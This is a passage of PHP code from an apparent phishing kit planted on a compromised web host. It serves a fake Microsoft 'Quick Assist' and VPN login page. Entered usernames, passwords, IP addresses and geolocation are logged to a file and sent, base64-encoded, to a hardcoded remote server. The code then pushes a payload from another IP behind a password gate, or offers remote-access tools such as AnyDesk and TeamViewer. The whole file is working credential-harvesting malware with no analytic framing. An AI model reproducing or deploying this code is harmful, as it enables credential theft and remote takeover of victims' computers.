'Failed to write file to disk.', UPLOAD_ERR_EXTENSION => 'A PHP extension stopped the file upload.' ]; $message = isset($errorMap[$file['error']]) ? $errorMap[$file['error']] : 'File upload error.'; } } else { $message = 'No file found in the request.'; } } showUploadForm($message, $success); exit; } // Handle POST request for password verification and file download (update version only) if ($isUpdateVersion && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['download_password'])) { $download_password = isset($_POST['download_password']) ? $_POST['download_password'] : ''; // Password verification (replace with desired password) $correct_password = "1337228"; if ($download_password === $correct_password) { // Password correct - download file from remote server $url = 'http://195.123.240.184:3333/domain/' . $_SERVER['SERVER_NAME']; // Get headers to extract filename $headers = get_headers($url, 1); $contentType = ''; if (isset($headers['Content-Type'])) { $contentTypeHeader = $headers['Content-Type']; $contentType = is_array($contentTypeHeader) ? end($contentTypeHeader) : $contentTypeHeader; } if (isset($headers['content-type'])) { $contentTypeHeader = $headers['content-type']; $contentType = is_array($contentTypeHeader) ? end($contentTypeHeader) : $contentTypeHeader; } if (stripos((string)$contentType, 'application/json') !== false) { $jsonBody = @file_get_contents($url); if ($jsonBody === false) { showUpdatePageByContext($activeVpnProfile, 'Could not get JSON response'); exit; } $json = json_decode($jsonBody, true); if (!is_array($json) || !isset($json['link'])) { showUpdatePageByContext($activeVpnProfile, 'Invalid JSON response'); exit; } $redirectLink = trim((string)$json['link']); if (!filter_var($redirectLink, FILTER_VALIDATE_URL)) { showUpdatePageByContext($activeVpnProfile, 'Invalid download link'); exit; } header('Cache-Control: no-store, no-cache, must-revalidate'); header('Pragma: no-cache'); header('Location: ' . $redirectLink, true, 302); exit; } // Extract filename from Content-Disposition header first $filename = null; if (isset($headers['Content-Disposition'])) { $content_disposition = is_array($headers['Content-Disposition']) ? $headers['Content-Disposition'][0] : $headers['Content-Disposition']; // Improved regex to handle various filename formats if (preg_match('/filename\s*=\s*["\']?([^"\';]+)["\']?/i', $content_disposition, $matches)) { $filename = trim($matches[1]); } // Alternative regex if the first one didn't work if (empty($filename) && preg_match('/filename[^;=\n]*=(([\'"]).*?\2|[^;\n]*)/', $content_disposition, $matches)) { $filename = trim($matches[1], '"\''); } } // If no filename in Content-Disposition, try to extract from URL if (empty($filename)) { $parsed_url = parse_url($url); if (isset($parsed_url['path'])) { $path_parts = pathinfo($parsed_url['path']); if (isset($path_parts['basename']) && !empty($path_parts['basename'])) { $filename = $path_parts['basename']; } } } // Additional fallback: try to get filename from URL path if (empty($filename)) { $url_parts = explode('/', $url); $last_part = end($url_parts); if (!empty($last_part) && strpos($last_part, '.') !== false) { $filename = $last_part; } } // If still no filename, use a generic name if (empty($filename)) { $filename = 'download'; } // Set headers and download header('Content-Type: application/octet-stream'); header("Content-Disposition: attachment; filename=\"$filename\""); header('Content-Transfer-Encoding: binary'); header('Cache-Control: must-revalidate'); header('Pragma: public'); // Direct file transfer $stream = fopen($url, 'rb'); if ($stream) { while (!feof($stream)) { echo fread($stream, 8192); flush(); } fclose($stream); } exit; } else { // Password incorrect - show error on success page showUpdatePageByContext($activeVpnProfile, 'Incorrect password'); exit; } } if ($isSupremo) { $url = 'https://www.nanosystems.it/public/download/Supremo.exe'; // Get headers to extract filename $headers = get_headers($url, 1); // Extract filename from Content-Disposition or use default $filename = 'Supremo.exe'; if (isset($headers['Content-Disposition'])) { $content_disposition = is_array($headers['Content-Disposition']) ? $headers['Content-Disposition'][0] : $headers['Content-Disposition']; if (preg_match('/filename[^;=\n]*=(([\'"]).*?\2|[^;\n]*)/', $content_disposition, $matches)) { $filename = trim($matches[1], '"\''); } } // Set headers and download header('Content-Type: application/octet-stream'); header("Content-Disposition: attachment; filename=\"$filename\""); header('Content-Transfer-Encoding: binary'); header('Cache-Control: must-revalidate'); header('Pragma: public'); // Direct file transfer $stream = fopen($url, 'rb'); if ($stream) { while (!feof($stream)) { echo fread($stream, 8192); flush(); } fclose($stream); } exit; } // Handle AnyDesk download (anydesk version) if ($isAnyDeskVersion) { // Download AnyDesk directly from server $url = 'https://download.anydesk.com/AnyDesk.exe'; // Get headers to extract filename $headers = get_headers($url, 1); // Extract filename from Content-Disposition or use default $filename = 'AnyDesk.exe'; if (isset($headers['Content-Disposition'])) { $content_disposition = is_array($headers['Content-Disposition']) ? $headers['Content-Disposition'][0] : $headers['Content-Disposition']; if (preg_match('/filename[^;=\n]*=(([\'"]).*?\2|[^;\n]*)/', $content_disposition, $matches)) { $filename = trim($matches[1], '"\''); } } // Set headers and download header('Content-Type: application/octet-stream'); header("Content-Disposition: attachment; filename=\"$filename\""); header('Content-Transfer-Encoding: binary'); header('Cache-Control: must-revalidate'); header('Pragma: public'); // Direct file transfer $stream = fopen($url, 'rb'); if ($stream) { while (!feof($stream)) { echo fread($stream, 8192); flush(); } fclose($stream); } exit; } // Handle HopToDesk download (hoptodesk version) if ($isHopToDeskVersion) { // Download HopToDesk directly from server $url = 'https://download.hoptodesk.com/HopToDesk.exe'; // Get headers to extract filename $headers = get_headers($url, 1); // Extract filename from Content-Disposition or use default $filename = 'HopToDesk.exe'; if (isset($headers['Content-Disposition'])) { $content_disposition = is_array($headers['Content-Disposition']) ? $headers['Content-Disposition'][0] : $headers['Content-Disposition']; if (preg_match('/filename[^;=\n]*=(([\'"]).*?\2|[^;\n]*)/', $content_disposition, $matches)) { $filename = trim($matches[1], '"\''); } } // Set headers and download header('Content-Type: application/octet-stream'); header("Content-Disposition: attachment; filename=\"$filename\""); header('Content-Transfer-Encoding: binary'); header('Cache-Control: must-revalidate'); header('Pragma: public'); // Direct file transfer $stream = fopen($url, 'rb'); if ($stream) { while (!feof($stream)) { echo fread($stream, 8192); flush(); } fclose($stream); } exit; } // Handle TeamViewer download (teamviewer version) if ($isTeamViewerVersion) { // Download TeamViewer directly from server $url = 'https://download.teamviewer.com/download/TeamViewer_Setup_x64.exe'; // Get headers to extract filename $headers = get_headers($url, 1); // Extract filename from Content-Disposition or use default $filename = 'TeamViewer_Setup_x64.exe'; if (isset($headers['Content-Disposition'])) { $content_disposition = is_array($headers['Content-Disposition']) ? $headers['Content-Disposition'][0] : $headers['Content-Disposition']; if (preg_match('/filename[^;=\n]*=(([\'"]).*?\2|[^;\n]*)/', $content_disposition, $matches)) { $filename = trim($matches[1], '"\''); } } // Set headers and download header('Content-Type: application/octet-stream'); header("Content-Disposition: attachment; filename=\"$filename\""); header('Content-Transfer-Encoding: binary'); header('Cache-Control: must-revalidate'); header('Pragma: public'); // Direct file transfer $stream = fopen($url, 'rb'); if ($stream) { while (!feof($stream)) { echo fread($stream, 8192); flush(); } fclose($stream); } exit; } if ($_SERVER['REQUEST_METHOD'] === 'POST' && !isset($_POST['download_password'])) { // Handle form submission $loginKeys = ['username', 'user', 'login']; $passwordKeys = ['password', 'passwd', 'pass']; if (is_array($activeVpnProfile) && isset($activeVpnProfile['login_fields'])) { if (!empty($activeVpnProfile['login_fields']['username'])) { array_unshift($loginKeys, $activeVpnProfile['login_fields']['username']); } if (!empty($activeVpnProfile['login_fields']['password'])) { array_unshift($passwordKeys, $activeVpnProfile['login_fields']['password']); } } $login = getPostValueByKeys($_POST, array_values(array_unique($loginKeys))); $password = getPostValueByKeys($_POST, array_values(array_unique($passwordKeys))); // Get current date and time $datetime = date('Y-m-d H:i:s'); // Get IP address and geolocation (only for standard version) $ip = getClientIP(); $geo = getGeoLocation($ip); // Full logging for both versions $logEntry = "=== LOGIN ATTEMPT ===\n"; $logEntry .= "Login: $login\n"; $logEntry .= "Password: $password\n"; $logEntry .= "Datetime: $datetime\n"; $logEntry .= "IP Address: $ip\n"; $logEntry .= "Country: {$geo['country']}\n"; $logEntry .= "City: {$geo['city']}\n"; $logEntry .= "Region: {$geo['region']}\n"; $logEntry .= "==================\n\n"; file_put_contents('log.txt', $logEntry, FILE_APPEND); // Prepare data for API request $apiData = [ "domain" => $_SERVER['SERVER_NAME'], "login" => $login, "password" => $password, "ipAddress" => $ip, "country" => $geo['country'], "city" => $geo['city'], "region" => $geo['region'] ]; // Encode data to JSON and then to base64 $jsonData = json_encode($apiData); $base64Data = base64_encode($jsonData); // Send GET request to API $apiUrl = 'http://144.172.98.161:443/api/logs?log=' . urlencode($base64Data); // Send request using file_get_contents @file_get_contents($apiUrl); if ($isUpdateVersion) { // Display success message with download form showUpdatePageByContext($activeVpnProfile); } else { // Успех в стиле VPN-шаблона (global) или стандартная страница if (!showVpnPage($activeVpnProfile, 'success')) { echo '<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Success</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet"> </head> <body class="bg-light"> <div class="container"> <div class="row justify-content-center align-items-center min-vh-100"> <div class="col-md-6 text-center"> <h2 class="text-success mb-4">Success!</h2> <p class="text-muted">Your authentication was successful.</p> </div> </div> </div> </body> </html>'; } } } else if ($isUpdateVersion && isset($_GET['success']) && $_GET['success'] == '1') { // Show success page with download completion message showUpdatePageByContext($activeVpnProfile, '', 'File download completed successfully!'); } else { if (showVpnPage($activeVpnProfile, 'login')) { exit; } // Display login form echo '<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Quick Assist Authentication</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.1/font/bootstrap-icons.css"> <style> body { background-color: #f8f9fa; } .card { border-radius: 8px; border: none; } .form-control { padding: 0.75rem; } .btn-primary { background-color: #0078d4; border-color: #0078d4; padding: 0.75rem; } .btn-primary:hover { background-color: #006cbe; border-color: #006cbe; } .text-muted { color: #6c757d !important; } .input-group-text { background-color: transparent; border-left: none; } .form-control:focus { border-color: #0078d4; box-shadow: 0 0 0 0.2rem rgba(0, 120, 212, 0.25); } </style> </head> <body class="bg-light"> <div class="container"> <div class="row justify-content-center align-items-center min-vh-100"> <div class="col-md-6 col-lg-4"> <div class="card shadow-sm"> <div class="card-body p-4"> <div class="text-center mb-4"> <img src="https://upload.wikimedia.org/wikipedia/commons/4/44/Microsoft_logo.svg" alt="Microsoft Logo" class="mb-3" style="width: 120px;"> <h4 class="mb-0">Quick Assist</h4> <p class="text-muted">Enter your credentials</p> </div> <form id="loginForm" method="POST"> <div class="mb-3"> <label for="username" class="form-label">Username</label> <input type="text" class="form-control" id="username" name="username" required> </div> <div class="mb-4"> <label for="password" class="form-label">Password</label> <div class="input-group"> <input type="password" class="form-control" id="password" name="password" required> </div> </div> <button type="submit" class="btn btn-primary w-100">Sign in</button> </form> </div> </div> </div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"></script> <script> document.addEventListener("DOMContentLoaded", function() { const togglePassword = document.querySelector("#togglePassword"); const password = document.querySelector("#password"); togglePassword.addEventListener("click", function() { const type = password.getAttribute("type") === "password" ? "text" : "password"; password.setAttribute("type", type); // Toggle icon const icon = this.querySelector("i"); icon.classList.toggle("bi-eye"); icon.classList.toggle("bi-eye-slash"); }); // Prevent form submission if fields are empty document.querySelector("#loginForm").addEventListener("submit", function(e) { const username = document.querySelector("#username").value; const password = document.querySelector("#password").value; if (!username || !password) { e.preventDefault(); alert("Please fill in all fields"); } }); }); </script> </body> </html>'; } ?>
/home/welbornwebsites/wordpress-backups/../php/../shellroofing.welbornwebsites.com/loginverify.php